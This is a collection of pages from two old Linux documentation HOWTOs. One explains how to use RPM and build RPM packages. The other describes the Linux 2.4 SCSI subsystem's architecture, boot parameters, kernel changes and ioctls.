You can put scripts in that get run before and after the installation and uninstallation of binary packages. A main reason for this is to do things like run ldconfig after installing or removing packages that contain shared libraries. The macros for each of the scripts is as follows:

  • %pre is the macro to do pre-install scripts.

  • %post is the macro to do post-install scripts.

  • %preun is the macro to do pre-uninstall scripts.

  • %postun is the macro to do post-uninstall scripts.

The contents of these sections should just be any sh style script, though you do not need the #!/bin/sh.

Files

This is the section where you must list the files for the binary package. RPM has no way to know what binaries get installed as a result of make install. There is NO way to do this. Some have suggested doing a find before and after the package install. With a multiuser system, this is unacceptable as other files may be created during a package building process that have nothing to do with the package itself.

There are some macros available to do some special things as well. They are listed and described here:

  • %doc is used to mark documentation in the source package that you want installed in a binary install. The documents will be installed in /usr/doc/$NAME-$VERSION-$RELEASE. You can list multiple documents on the command line with this macro, or you can list them all separately using a macro for each of them.

  • %config is used to mark configuration files in a package. This includes files like sendmail.cf, passwd, etc. If you later uninstall a package containing config files, any unchanged files will be removed and any changed files will get moved to their old name with a .rpmsave appended to the filename. You can list multiple files with this macro as well.

  • %dir marks a single directory in a file list to be included as being owned by a package. By default, if you list a directory name WITHOUT a %dir macro, EVERYTHING in that directory is included in the file list and later installed as part of that package.

  • %defattr allows you to set default attributes for files listed after the defattr declaration. The attributes are listed in the form (mode, owner, group) where the mode is the octal number representing the bit pattern for the new permissions (like chmod would use), owner is the username of the owner, and group is the group you would like assigned. You may leave any field to the installed default by simply placing a - in its place, as was done in the mode field for the example package.

  • %files -f <filename> will allow you to list your files in some arbitrary file within the build directory of the sources. This is nice in cases where you have a package that can build it's own filelist. You then just include that filelist here and you don't have to specifically list the files.

The biggest caveat in the file list is listing directories. If you list /usr/bin by accident, your binary package will contain every file in /usr/bin on your system.

Changelog

This is a log of what changes occurred when the package is updated. If you are modifying an existing RPM it is a good idea to list what changes you made here.

The format is simple. Start each new entry with a line with a * followed by the date, your name, and your email address. The date should appear in the same format that is output by:

    date +"%a %b %d %Y"

The rest of the section is a free text field, but should be organized in some coherent manner.

Prev | Home | Next
Now what can I really do with RPM? |  | Building It


Building It

The Source Directory Tree

The first thing you need is a properly configured build tree. This is configurable using the /etc/rpmrc file. Most people will just use /usr/src.

You may need to create the following directories to make a build tree:

  • BUILD is the directory where all building occurs by RPM. You don't have to do your test building anywhere in particular, but this is where RPM will do it's building.

  • SOURCES is the directory where you should put your original source tar files and your patches. This is where RPM will look by default.

  • SPECS is the directory where all spec files should go.

  • RPMS is where RPM will put all binary RPMs when built.

  • SRPMS is where all source RPMs will be put.

Test Building

The first thing you'll probably want to to is get the source to build cleanly without using RPM. To do this, unpack the sources, and change the directory name to $NAME.orig. Then unpack the source again. Use this source to build from. Go into the source directory and follow the instructions to build it. If you have to edit things, you'll need a patch. Once you get it to build, clean the source directory. Make sure and remove any files that get made from a configure script. Then cd back out of the source directory to its parent. Then you'll do something like:

diff -uNr dirname.orig dirname > ../SOURCES/dirname-linux.patch

This will create a patch for you that you can use in your spec file. Note that the "linux" that you see in the patch name is just an identifier. You might want to use something more descriptive like "config" or "bugs" to describe why you had to make a patch. It's also a good idea to look at the patch file you are creating before using it to make sure no binaries were included by accident.

Generating the File List

Now that you have source that will build and you know how to do it, build it and install it. Look at the output of the install sequence and build your file list from that to use in the spec file. We usually build the spec file in parallel with all of these steps. You can create the initial one and fill in the easy parts, and then fill in the other steps as you go.

Building the Package with RPM

Once you have a spec file, you are ready to try and build your package. The most useful way to do it is with a command like the following:

rpm -ba foobar-1.0.spec

There are other options useful with the -b switch as well:

  • p means just run the prep section of the specfile.

  • l is a list check that does some checks on %files.

  • c do a prep and compile. This is useful when you are unsure of whether your source will build at all. It seems useless because you might want to just keep playing with the source itself until it builds and then start using RPM, but once you become accustomed to using RPM you will find instances when you will use it.

  • ido a prep, compile, and install.

  • b prep, compile, install, and build a binary package only.

  • abuild it all (both source and binary packages).

There are several modifiers to the -b switch. They are as follows:

  • --short-circuit will skip straight to a specified stage (can only be used with c and i).

  • --clean removes the build tree when done.

  • --keep-temps will keep all the temp files and scripts that were made in /tmp. You can actually see what files were created in /tmp using the -v option.

  • --test does not execute any real stages, but does keep-temp.

Testing It

Once you have a source and binary rpm for your package, you need to test it. The easiest and best way is to use a totally different machine from the one you are building on to test. After all, you've just done a lot of make install's on your own machine, so it should be installed fairly well.

You can do an rpm -e packagename on the package to test, but that can be deceiving because in building the package, you did a make install. If you left something out of your file list, it will not get uninstalled. You'll then reinstall the binary package and your system will be complete again, but your rpm still isn't. Make sure and keep in mind that just because you do a rpm -ba package, most people installing your package will just be doing the rpm -i package. Make sure you don't do anything in the build or install sections that will need to be done when the binaries are installed by themselves.

What to do with your new RPMs

Once you've made your own RPM of something (assuming its something that hasn't already been RPM'ed), you can contribute your work to others (also assuming you RPM'ed something freely distributable). To do so, you'll want to upload it to ftp.redhat.com.

What Now?

Please see the above sections on Testing and What to do with new RPMs. We want all the RPMs available we can get, and we want them to be good RPMs. Please take the time to test them well, and then take the time to upload them for everyone's benefit. Also, please make sure you are only uploading freely available software. Commercial software and shareware should not be uploaded unless they have a copyright expressly stating that this is allowed. This includes ssh, pgp, etc.

Prev | Home | Next
Building RPMs |  | Multi-architectural RPM Building


General Information

Acquiring RPM

The best way to get RPM is to install Red Hat Linux. If you don't want to do that, you can still get and use RPM. It can be acquired from ftp.redhat.com.

RPM Requirements

RPM itself should build on basically any Unix-like system. It has been built and used on Tru64 Unix, AIX, Solaris, SunOS, and basically all flavors of Linux.

To build RPMs from source, you also need everything normally required to build a package, like gcc, make, etc.

Prev | Home | Next
Overview |  | Using RPM


RPM HOWTO

RPM at Idle

Donnie Barnes

Red Hat, Inc.

djb@redhat.com

Copyright © 1999 by Red Hat, Inc.

Revision History
Revision V3.0 3 November 1999
Table of Contents
Introduction
Overview
General Information
Acquiring RPM
RPM Requirements
Using RPM
Now what can I really do with RPM?
Building RPMs
The Spec File
The Header
Prep
Build
Install
Cleaning your system
Optional pre and post Install/Uninstall Scripts
Files
Changelog
Building It
The Source Directory Tree
Test Building
Generating the File List
Building the Package with RPM
Testing It
What to do with your new RPMs
What Now?
Multi-architectural RPM Building
Sample spec File
Optflags
Macros
Excluding Architectures from Packages
Finishing Up

Introduction

RPM is the RPM Package Manager. It is an open packaging system available for anyone to use. It allows users to take source code for new software and package it into source and binary form such that binaries can be easily installed and tracked and source can be rebuilt easily. It also maintains a database of all packages and their files that can be used for verifying packages and querying for information about files and/or packages.

Red Hat, Inc. encourages other distribution vendors to take the time to look at RPM and use it for their own distributions. RPM is quite flexible and easy to use, though it provides the base for a very extensive system. It is also completely open and available, though we would appreciate bug reports and fixes. Permission is granted to use and distribute RPM royalty free under the GPL.

More complete documentation is available on RPM in the book by Ed Bailey, Maximum RPM. That book is available for download or purchase at www.redhat.com.

Next
Overview


Multi-architectural RPM Building

RPM can now be used to build packages for the Intel i386, the Digital Alpha running Linux, and the Sparc (and others). There are several features that make building packages on all platforms easy. The first of these is the "optflags" directive in the /etc/rpmrc. It can be used to set flags used when building software to architecture specific values. Another feature is the "arch" macros in the spec file. They can be used to do different things depending on the architecture you are building on. Another feature is the "Exclude" directive in the header.

Sample spec File

The following is part of the spec file for the "fileutils" package. It is setup to build on both the Alpha and the Intel.

Summary: GNU File Utilities
Name: fileutils
Version: 3.16
Release: 1
Copyright: GPL
Group: Utilities/File
Source0: prep.ai.mit.edu:/pub/gnu/fileutils-3.16.tar.gz
Source1: DIR_COLORS
Patch: fileutils-3.16-mktime.patch

%description
These are the GNU file management utilities.  It includes programs
to copy, move, list, etc, files.

The ls program in this package now incorporates color ls!

%prep
%setup

%ifarch alpha
%patch -p1
autoconf
%endif
%build
configure --prefix=/usr --exec-prefix=/
make CFLAGS="$RPM_OPT_FLAGS" LDFLAGS=-s

%install
rm -f /usr/info/fileutils*
make install
gzip -9nf /usr/info/fileutils*

.
.
.

Optflags

In this example, you see how the "optflags" directive is used from the /etc/rpmrc. Depending on which architecture you are building on, the proper value is given to RPM_OPT_FLAGS. You must patch the Makefile for your package to use this variable in place of the normal directives you might use (like -m486 and -O2). You can get a better feel for what needs to be done by installing this source package and then unpacking the source and examine the Makefile. Then look at the patch for the Makefile and see what changes must be made.

Macros

The %ifarch macro is very important to all of this. Most times you will need to make a patch or two that is specific to one architecture only. In this case, RPM will allow you to apply that patch to just one architecture only.

In the above example, fileutils has a patch for 64 bit machines. Obviously, this should only be applied on the Alpha at the moment. So, we add an %ifarch macro around the 64 bit patch like so:

%ifarch axp
%patch1 -p1
%endif

This will insure that the patch is not applied on any architecture except the alpha.

Excluding Architectures from Packages

So that you can maintain source RPMs in one directory for all platforms, we have implemented the ability to "exclude" packages from being built on certain architectures. This is so you can still do things like

rpm --rebuild /usr/src/SRPMS/*.rpm

and have the right packages build. If you haven't yet ported an application to a certain platform, all you have to do is add a line like:

ExcludeArch: alpha

to the header of the spec file of the source package. Then rebuild the package on the platform that it does build on. You'll then have a source package that builds on an Intel and can easily be skipped on an Alpha.

Finishing Up

Using RPM to make multi-architectural packages is usually easier to do than getting the package itself to build both places. As more of the hard packages get built this is getting much easier, however. As always, the best help when you get stuck building an RPM is to look a similar source package.

Prev | Home
Building It |


Overview

First, let me state some of the philosophy behind RPM. One design goal was to allow the use of "pristine" sources. With RPP (our former packaging system of which none of RPM is derived), our source packages were the "hacked" sources that we built from.

Theoretically, one could install a source RPP and then make it with no problems. But the sources were not the original ones, and there was no reference as to what changes we had to make to get it to build. One had to download the pristine sources separately. With RPM, you have the pristine sources along with patches that we used to compile from. We see this as a big advantage. Why? Several reasons. For one, if a new version of a program comes out, you don't necessarily have to start from scratch to get it to compile under RHL. You can look at the patch to see what you might need to do. All the compile-in defaults are easily visible this way.

RPM is also designed to have powerful querying options. You can do searches through your entire database for packages or just certain files. You can also easily find out what package a file belongs to and where it came from. The RPM files themselves are compressed archives, but you can query individual packages easily and quickly because of a custom binary header added to the package with everything you could possibly need to know contained in uncompressed form. This allows for fast querying.

Another powerful feature is the ability to verify packages. If you are worried that you deleted an important file for some package, just verify it. You will be notified of any anomalies. At that point, you can reinstall the package if necessary. Any config files that you had are preserved as well.

We would like to thank the folks from the BOGUS distribution for many of their ideas and concepts that are included in RPM. While RPM was completely written by Red Hat, Inc., its operation is based on code written by BOGUS (PM and PMS).

Prev | Home | Next
RPM HOWTO |  | General Information


Now what can I really do with RPM?

RPM is a very useful tool and, as you can see, has several options. The best way to make sense of them is to look at some examples. I covered simple install/uninstall above, so here are some more examples:

  • Let's say you delete some files by accident, but you aren't sure what you deleted. If you want to verify your entire system and see what might be missing, you would do:

    rpm -Va

  • Let's say you run across a file that you don't recognize. To find out which package owns it, you would do:

    rpm -qf /usr/X11R6/bin/xjewel

    The output would be sometime like:

    xjewel-1.6-1

  • You find a new koules RPM, but you don't know what it is. To find out some information on it, do:

    rpm -qpi koules-1.2-2.i386.rpm

    The output would be:

    Name        : koules                      Distribution: Red Hat Linux Colgate
Version     : 1.2                               Vendor: Red Hat Software
Release     : 2                             Build Date: Mon Sep 02 11:59:12 1996
Install date: (none)                        Build Host: porky.redhat.com
Group       : Games                         Source RPM: koules-1.2-2.src.rpm
Size        : 614939
Summary     : SVGAlib action game with multiplayer, network, and sound support
Description :
This arcade-style game is novel in conception and excellent in execution.
No shooting, no blood, no guts, no gore.  The play is simple, but you
still must develop skill to play.  This version uses SVGAlib to
run on a graphics console.

  • Now you want to see what files the koules RPM installs. You would do:

    rpm -qpl koules-1.2-2.i386.rpm

    The output is:

    /usr/doc/koules
/usr/doc/koules/ANNOUNCE
/usr/doc/koules/BUGS
/usr/doc/koules/COMPILE.OS2
/usr/doc/koules/COPYING
/usr/doc/koules/Card
/usr/doc/koules/ChangeLog
/usr/doc/koules/INSTALLATION
/usr/doc/koules/Icon.xpm
/usr/doc/koules/Icon2.xpm
/usr/doc/koules/Koules.FAQ
/usr/doc/koules/Koules.xpm
/usr/doc/koules/README
/usr/doc/koules/TODO
/usr/games/koules
/usr/games/koules.svga
/usr/games/koules.tcl
/usr/man/man6/koules.svga.6

These are just several examples. More creative ones can be thought of really easy once you are familiar with RPM.

Prev | Home | Next
Using RPM |  | Building RPMs


Using RPM

In its simplest form, RPM can be used to install packages:

rpm -i foobar-1.0-1.i386.rpm

The next simplest command is to uninstall a package:

rpm -e foobar

One of the more complex but highly useful commands allows you to install packages via FTP. If you are connected to the net and want to install a new package, all you need to do is specify the file with a valid URL, like so:

rpm -i ftp://ftp.redhat.com/pub/redhat/rh-2.0-beta/RPMS/foobar-1.0-1.i386.rpm

Please note, that RPM will now query and/or install via FTP.

While these are simple commands, rpm can be used in a multitude of ways. To see which options are available in your version of RPM, type:

rpm --help

You can find more details on what those options do in the RPM man page, found by typing:

man rpm

Prev | Home | Next
General Information |  | Now what can I really do with RPM?


Architectural Overview

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 2. Architectural Overview

The SCSI subsystem has a 3 level architecture with the "upper" level being closest to the user/kernel interface while the "lower" level is closest to the hardware. The upper level drivers are commonly known by a terse two letter abbreviation (e.g. "sd" for SCSI disk driver). The names of the corresponding module drivers which, for historical reasons, sometimes differ from the built in driver names are shown in braces in the following diagram.

The 3 level driver architecture of the SCSI subsystem.

The upper level supports the user-kernel interface. In the case of sd and sr this is a block device interface while for st and sg this is a character device interface. Any operation using the SCSI subsystem (e.g. reading a sector from a disk) involves one driver at each of the 3 levels (e.g. sd, SCSI mid level and aic7xxx drivers).

As can be seen from the diagram, the SCSI mid level is common to all operations. The SCSI mid level defines internal interfaces and provides common services to the upper and lower level drivers. Ioctls provided by the mid level are available to the file descriptors belonging to any of the 4 upper level drivers.

The most common operation on a block device is to "mount" a file system. For a sd device typically a partition is mounted (e.g. mount -t ext2 /dev/sda6 /home). For a sr device usually the whole device is mounted (e.g. mount -t iso9660 /dev/sr0 /mnt/cdrom). The dd command can be used to read or write from block devices. In this case the block size argument ("bs") needs to be set to the block size of the device (e.g. 512 bytes for most disks) or an integral multiple of that device block size (e.g. 8192 bytes). A recent addition to the block subsystem allows a device (or partition) to be mounted more than once, at different mount points.

Sd is a member of the generic disk family, as is the hd device from the IDE subsystem. Apart from mounting sd devices, the fdisk command is available to view or modify a disk's partition table. Although the hdparm command is primarily intended for ATA disks (also known as IDE or EIDE disks), some options work on SCSI disks.

Sr is a member of the CD-ROM subsystem. Apart from mounting file systems (e.g. iso9660), audio CDs can also be read. The latter action does not involve mounting a file system but typically by invoking some ioctls. General purpose Linux commands such as dd cannot be used on audio CDs.

St is a char device for reading and writing tapes. Typically the mt command is used to perform data transfers and other control functions.

Sg is a SCSI command pass through device that uses a char device interface. General purpose Linux commands should not be used on sg devices. Applications such as SANE (for scanners), cdrecord and cdrdao (for cd writers) and cdparanoia (for reading audio CDs digitally) use sg.

Prev | Home | Next
Introduction |  | Names and Addresses


Boot Parameters

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Chapter 5. Boot Parameters

On a PC the motherboard's BIOS together with the SCSI BIOS provided by most SCSI host adapters takes care of the problem of loading the boot loader's image from a SCSI disk into memory and executing it. This may require some settings to be changed in the motherboard's BIOS. When more than one SCSI adapter is involved, the SCSI BIOS settings may need to change to indicate which one contains the disk with the boot image. The boot image make also come from an ATA (IDE) disk, a bootable CD-ROM or a floppy.

While LILO is the most common boot loader in use with Linux today, other boot loaders such as "grub" [see www.gnu.org/software/grub] should be considered if the root partition is a reiserfs or ext3 partition. An excellent paper on lilo and the Linux bootup sequence can be found here.

Some boot parameters related to the SCSI subsystem:
 single         [enter single user mode]
 <n>            [enter run level <n> {0..6}]
 root=/dev/sda6 [*]
 root=/dev/scsi/host0/bus0/target0/lun0/part6 [*]
 root=/dev/sd/c0b0t0u0p6   [*]
 devfs=mount    [overrides CONFIG_DEVFS_MOUNT=n]
 devfs=nomount  [overrides CONFIG_DEVFS_MOUNT=y]
 init=<command> [executes <command> rather than init]
 quiet          [reduce output to console during boot]
 debug          [increase output to console during boot]
 nmi_watchdog=0 [turn off NMI watchdog on a SMP machine]
 max_scsi_luns=1  [limits SCSI bus scans to lun==0]
* When devfs is in use the initial read-only mount of the root partition can be done via the old /dev/sd<a><n> notation or the new devfs notation (and two of these are shown). The joint "root=/dev/sda6 single" may be useful when disk or adapter changes have broken the kernel boot load.

The "root=" argument may also be a hex number. For example, if the root partition is on /dev/sda3 then "root=803" is appropriate. The last two digits are the minor device number discussed in an earlier section.

The default argument to the "init" parameter is /sbin/init (see man (8) init). If files such as /etc/fstab have incorrect entries, it may be useful to drop directly into a shell with "init=/bin/bash". However if shared libraries files or their paths are inappropriate this may also fail. That leaves "init=/sbin/sash" which is a statically linked shell with many useful commands (for repairing a system) built in (see man (8) sash).

When Linux fails to boot after reporting a message like:
  VFS: Cannot open root device 08:02
then the kernel expected to find a root partition on device /dev/sda2 and did not. The numbers in the error message are major and minor device numbers (in hex) [see Section 3.2 for the mapping to device names]. In such situations the "root" boot option can be useful (also the rdev command can be used to modify where the boot image looks for the root partition).

Lilo's configuration file /etc/lilo.conf can take the "root=" option in two ways. The normal way is a line like: 'root=/dev/sda2'. In this case /dev/sda2 is converted into major and minor numbers based on the state of the system when the lilo command is executed. This can be a nuisance, especially if hardware is going to be re-arranged. The other way is a line of the form: 'append="root=/dev/sda2"' In this case the /dev/sda2 is passed through to the kernel the next time it is started. This is the same as giving the "root=/dev/sda2" string at the kernel boot time prompt. It is interpreted by the kernel at startup (once the HBAs and their attached devices have been recognized) and thus is more flexible.

Prev | Home | Next
Kernel Configuration |  | Modules and their Parameters


Changes between lk 2.2 and (during) 2.4

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Appendix B. Changes between lk 2.2 and (during) 2.4

Table of Contents
B.1. Mid level changes
B.2. sd changes
B.3. sr changes
B.4. st changes
B.5. sg changes
B.6. Changes during the lk 2.4 series

Significant work has been done to change the single SCSI command queue used in lk 2.2 to one command queue per device. To make the SCSI subsystem more SMP friendly the granularity of the locks is much finer grained. In lk 2.2 the whole subsystem essentially used one lock.

Even though it is not part of the SCSI subsystem, the inclusion of devfs solves many SCSI device addressing problems that existed in the past. Associated with devfs but very useful even in its absence is the "scsihosts" kernel boot time (and module load time) option. This option allows users to have some control over the ordering of multiple SCSI hosts.

This appendix is difficult to maintain since features and drivers that have proven useful in lk 2.4 (and its development tree) have tended to be back ported into the higher release numbers of the lk 2.2 series.

Currently (lk 2.4.2) support for MO devices is broken. Old DOS file systems with a block size of 2048 bytes also have been reported as broken. The problem seems to arise with media that have a physical block size larger than the 1 KB logical block size used by the block subsystem. Only the sd driver has this problem (luckily not the sr driver in which 2048 byte sectors are the norm).

Prev | Home | Next
Common bus types (SCSI and other) |  | Mid level changes


Changes during the lk 2.4 series

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix B. Changes between lk 2.2 and (during) 2.4 Next

B.6. Changes during the lk 2.4 series

Even though the lk 2.4 production series is meant to be "stable" there have been a significant number of changes as well as bug fixes. The following list does not include changes to the lower level (adapter) drivers. Each item of the list is prefixed by the kernel version that it was introduced.

  • [2.4.4] added the SCSI_IOCTL_GET_PCI ioctl(),

  • [2.4.7] the "lun" bits (3 bits representing lun values 0 through 7 in the SCSI 1 and SCSI 2 standards) are no longer masked into the second byte of SCSI commands if the INQUIRY for that devices shows a SCSI level greater than SCSI_2,

  • [2.4.7] the max_scsi_luns kernel (and module scsi_mod) option previously could be 1 to 7. Now the upper value can be large. [The scan algorithms are still doing a sequential scan rather than using REPORT_LUNS.]

  • [2.4.7] both scsi_unregister_host() and scsi_unregister_module() now return an int (previously they were void functions). They return 0 for success, -1 for failure (typically busy),

  • [2.4.7] the upper level drivers now report the correct scsi device name when they are attached. [The log messages that started with "Detected ..." previously sometimes reported the wrong device (e.g. sdc rather than sdb).] Kernel boot up messages will now show SCSI devices as "Attached ...",

  • [2.4.7] 'max_sectors' was added to the Scsi_Host structure,

  • [2.4.8] some mid level logic was altered to retry commands if the sense buffer indicates that logical unit is becoming ready [ASC=4, ASQ=1],

  • [2.4.9] a major st update,

  • [2.4.9] mid level changed to retry commands if lower level (adapter) driver returned DID_RESET,

  • [2.4.10] original result (including SCSI status) saved when mid level issues a REQUEST SENSE so it can be restored afterwards,

  • [2.4.10] added BLKGETSIZE64, BLKBSZSET and BLKBSZGET ioctls to sd + sr,

  • [2.4.10] sg update that fixes generic_unplug_device() race + bumps access_count on opens (and decrements on releases),

  • [2.4.11] added MODULE_LICENSE macro in most drivers, mostly MODULE_LICENSE("GPL"),

  • [2.4.11] scsi_pid bumped for each command (why?),

  • [2.4.11] st update to bump access_count. Now all upper level drivers increment access_count on opens and decrement it on releases,

  • [2.4.13] scatterlist structure grows (alt_address is removed, page and offset added),

  • [2.4.13] don't probe luns > 7 for target <= SCSI_2 ,

  • [2.4.14] fine tuning (bug fixes) associated with scatterlist structure changes [it broke st ?],

  • [2.4.15] 16 byte SCSI commands permitted [MAX_COMMAND_SIZE changes from 12 to 16]. HBA driver must set Scsi_Host::max_cmd_len to 16 for mid level to forward 16 byte SCSI commands,

  • [2.4.15] BLKGETSIZE + BLKGETSIZE64 ioctl() implementations moved out of SCSI subsystem (and into block subsystem),

  • [2.4.15] large st update,

  • [2.4.15] lk 2.5.0 forks off so lk2.4.15==lk2.5.0 .

  • [2.4.17] add generic_unplug_device() call to scsi_wait_req(). This stops long waits in SCSI_IOCTL_SEND_COMMAND.

  • [2.4.17] fix device scanning bug where, in some cases, the scsi_level (i.e. SCSI standard adherence) was misplaced.

  • [2.4.17] major sg driver update, add mmap()-ed IO

  • [2.4.18] permit upper level driver "init()" functions (e.g. sd_init() ) to fail gracefully. [Add Scsi_Device::detected and scsi_unregister_module() .]

  • [2.4.18] Fix for clustering (SCSI commands) on MO devices.

  • [2.4.18] st driver update (compression algorithms).

  • [2.4.18] update Documentation/scsi.txt and scsi-generic.txt .

  • [2.4.18] Revamp scsi_debug driver .

Prev | Home | Next
sg changes | Up | Troubleshooting


Mid level changes

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix B. Changes between lk 2.2 and (during) 2.4 Next

B.1. Mid level changes

SCSI_IOCTL_GET_IDLUN    {ioctl, changed}

Prev | Home | Next
Changes between lk 2.2 and (during) 2.4 | Up | sd changes


sd changes

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix B. Changes between lk 2.2 and (during) 2.4 Next

B.2. sd changes

HDIO_GETGEO_BIG         {ioctl, new}

Prev | Home | Next
Mid level changes | Up | sr changes


sg changes

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix B. Changes between lk 2.2 and (during) 2.4 Next

B.5. sg changes

The main change is the addition of a new interface structure called "sg_io_hdr". The existing interface structure (called "sg_header") was found to be inflexible requiring the concatenation of raw data together with meta-data in the read() and write() commands.
sg_io_hdr          {new interface structure}
SG_IO              {new ioctl}
direct IO          {present but commented out, see ALLOW_DIO}
procfs output      {new information in /proc/scsi/sg directory}
boot/module parameters  {new}

Up to 64 bytes of sense data can be obtained from the sg_io_hdr interface structure. Also a residual count associated with the data transfer is available (if the lower level driver supports it, if not the residual count will be 0).

Prev | Home | Next
st changes | Up | Changes during the lk 2.4 series


sr changes

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix B. Changes between lk 2.2 and (during) 2.4 Next

B.3. sr changes

No sr changes reported. As a related matter, the "hdx=scsi" kernel boot option has been added. See Section 9.2.4 for more details.

Prev | Home | Next
sd changes | Up | st changes


st changes

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix B. Changes between lk 2.2 and (during) 2.4 Next

B.4. st changes

No interface changes. In lk 2.2 the maximum number of extra tape devices that could be added after boot time was limited to 3. This limitation has been removed (leaving a maximum of 32 tape devices as noted earlier).

A variant st driver called "osst" to handle early model OnStream tape drives has been added in lk 2.4 .

Prev | Home | Next
sr changes | Up | sg changes


Mid level

The Linux 2.4 SCSI subsystem HOWTO
Prev Appendix E. Compile options and System calls including ioctls Next

E.1. Mid level

The following header files in the kernel source are relevant to the mid level:
        /usr/src/linux/include/scsi/scsi.h
        /usr/src/linux/include/scsi/scsi_ioctl.h

These files are meant for applications to use (other than parts in a __KERNEL__ conditional compilation block). They may also be found in /usr/include/scsi directory but it is best not to trust these versions as they are maintained with the glibc library and may lag the kernel version being used. Usually in Linux systems /usr/include/linux can be relied upon to be a symbolic link to the kernel source's include area (typically /usr/src/linux/include/linux). This symbolic link can be used to include the correct scsi_ioctl.h using the following trick: #include <linux/../scsi/scsi_ioctl.h>

This include file: /usr/src/linux/drivers/scsi/scsi.h is the key internal header file for the SCSI subsystem. As such it will not be discussed here other than to point out it has the same file name (but it's in a different directory) as the include file mentioned at the beginning of this section. This sometimes causes confusion.

The mid level drivers/scsi/scsi_scan.c file maintains an array of known SCSI devices with idiosyncrasies. [This was known as the "black list" but that was considered to judgmental.] The array is called "device_list". The various value are:

  • BLIST_NOLUN only probe lun 0

  • BLIST_FORCELUN force all 8 luns to be probed

  • BLIST_BORKEN passes through broken flag to lower level driver

  • BLIST_KEY sends magical MODE SENSE (pc=0x2e) to unlock device

  • BLIST_SINGLELUN only allow IO on one lun at a time

  • BLIST_NOTQ disable tagged queuing

  • BLIST_SPARSELUN keep going after lun not found

  • BLIST_MAX5LUN only probe up to lun 5

  • BLIST_ISDISK override INQUIRY's type with disk (direct access) type

  • BLIST_ISROM override INQUIRY's type with ROM

E.1.1. Mid level compile options

None.

E.1.2. Mid level ioctls

See the following files:
/usr/src/linux/include/scsi/scsi.h

Note that the SCSI status constants defined in include/scsi/scsi.h are shifted 1 bit right from the values in the SCSI standards:

scsi.h constant      value     SCSI 2 standard value
----------------------------------------------------
CHECK_CONDITION       0x1           0x2
CHECK_GOOD            0x2           0x4
BUSY                  0x4           0x8
....

Summary of ioctl()s follow:
SCSI_IOCTL_SEND_COMMAND
  This interface is deprecated - users should use
  the scsi generic (sg) interface instead, as this
  is a more flexible approach to performing
  generic SCSI commands on a device.

  The structure that we are passed should look like:

  struct sdata {
   unsigned int inlen;     [i] Length of data written to device
   unsigned int outlen;    [i] Length of data read from device
   unsigned char cmd[x];   [i] SCSI command (6 <= x <= 16)
                           [o] Data read from device starts here
                           [o] On error, sense buffer starts here
   unsigned char wdata[y]; [i] Data written to device starts here
  };
  Notes:
    -  The SCSI command length is determined by examining
       the 1st byte of the given command. There is no way
       to override this.
    -  Data transfers are limited to PAGE_SIZE (4K on
       i386, 8K on alpha).
    -  The length (x + y) must be at least OMAX_SB_LEN
       bytes long to accommodate the sense buffer when
       an error occurs. The sense buffer is truncated to
       OMAX_SB_LEN (16) bytes so that old code will not
       be surprised.
    -  If a Unix error occurs (e.g. ENOMEM) then the user
       will receive a negative return and the Unix error
       code in 'errno'. If the SCSI command succeeds then
       0 is returned. Positive numbers returned are the
       compacted SCSI error codes (4 bytes in one int)
       where the lowest byte is the SCSI status. See the
       drivers/scsi/scsi.h file for more information on this.

SCSI_IOCTL_GET_IDLUN
  This ioctl takes a pointer to a "struct scsi_idlun" object
  as its third argument. The "struct scsi_idlun" definition
  is found in <scsi/scsi.h>. It gets populated with scsi
  host, channel, device id and lun data for the given device.
  Unfortunately that header file "hides" that structure
  behind a "#ifdef __KERNEL__" block. To use this, that
  structure needs to be replicated in the user's program.
  Something like:
  typedef struct my_scsi_idlun {
      int four_in_one;    /* 4 separate bytes of info
                             compacted into 1 int */
      int host_unique_id; /* distinguishes adapter cards from
                             same supplier */
  } My_scsi_idlun;
      "four_in_one" is made up as follows:
      (scsi_device_id | (lun << 8) | (channel << 16) |
      (host << 24))
  These 4 components are assumed (or masked) to be 1 byte each.

SCSI_IOCTL_GET_BUS_NUMBER
  In lk 2.2 and earlier this ioctl was needed to get the
  host number. During lk 2.3 development the
  SCSI_IOCTL_GET_IDLUN ioctl was changed to include this
  information. Hence this ioctl is only needed for
  backward compatibility.
SCSI_IOCTL_TAGGED_ENABLE
  Probably a remnant of the past when the mid level
  addressed such issues. Now this functionality is
  controlled by the lower level drivers. Best ignored.
SCSI_IOCTL_TAGGED_DISABLE
  See comment for SCSI_IOCTL_TAGGED_ENABLE.
SCSI_IOCTL_PROBE_HOST
  This ioctl expects its 3rd argument to be a pointer to
  a union that looks like this:
  union probe_host {
    unsigned int length;  /* [i] max length of
                                 output ASCII string */
    char str[length];     /* [o] N.B. may need '\0'
                     appended */
  };
  The host associated with the device's fd either has a
  host dependent information string or failing that its
  name, output into the given structure. Note that the
  output starts at the beginning of given structure
  (overwriting the input length). N.B. A trailing '\0'
  may need to be put on the output string if it has been
  truncated by the input length. A return value of 1
  indicates the host is present, 0 indicates that the
  host isn't present (how can that happen?) and a
  negative value indicates an error.

SCSI_IOCTL_DOORLOCK
SCSI_IOCTL_DOORUNLOCK
SCSI_IOCTL_TEST_UNIT_READY
  Returns 0 if the unit (device) is ready, a positive
  number if it is not or a negative number when there
  is an OS error.

SCSI_IOCTL_START_UNIT
SCSI_IOCTL_STOP_UNIT
SCSI_EMULATED_HOST          {same as SG_EMULATED_HOST <new>}

SCSI_IOCTL_GET_PCI
  Yields the PCI slot name (pci_dev::slot_name) associated with the lower
  level (adapter) driver that controls the current device. Up to 8 characters
  are output to the locations pointed to by 'arg'. If the current device
  is not controlled by a PCI device then errno is set to ENXIO.
  [This ioctl() was introduced in lk 2.4.4]

Prev | Home | Next
Compile options and System calls including ioctls | Up | sd driver


Compile options and System calls including ioctls

The Linux 2.4 SCSI subsystem HOWTO
Prev Next

Appendix E. Compile options and System calls including ioctls

Table of Contents
E.1. Mid level
E.1.1. Mid level compile options
E.1.2. Mid level ioctls
E.2. sd driver
E.2.1. sd compile options
E.2.2. sd ioctls and user interface
E.3. sr driver
E.3.1. sr compile options
E.3.2. sr ioctls and user interface
E.4. st driver
E.4.1. st compile options
E.4.2. st ioctls and user interface
E.5. sg driver
E.5.1. sg compile options
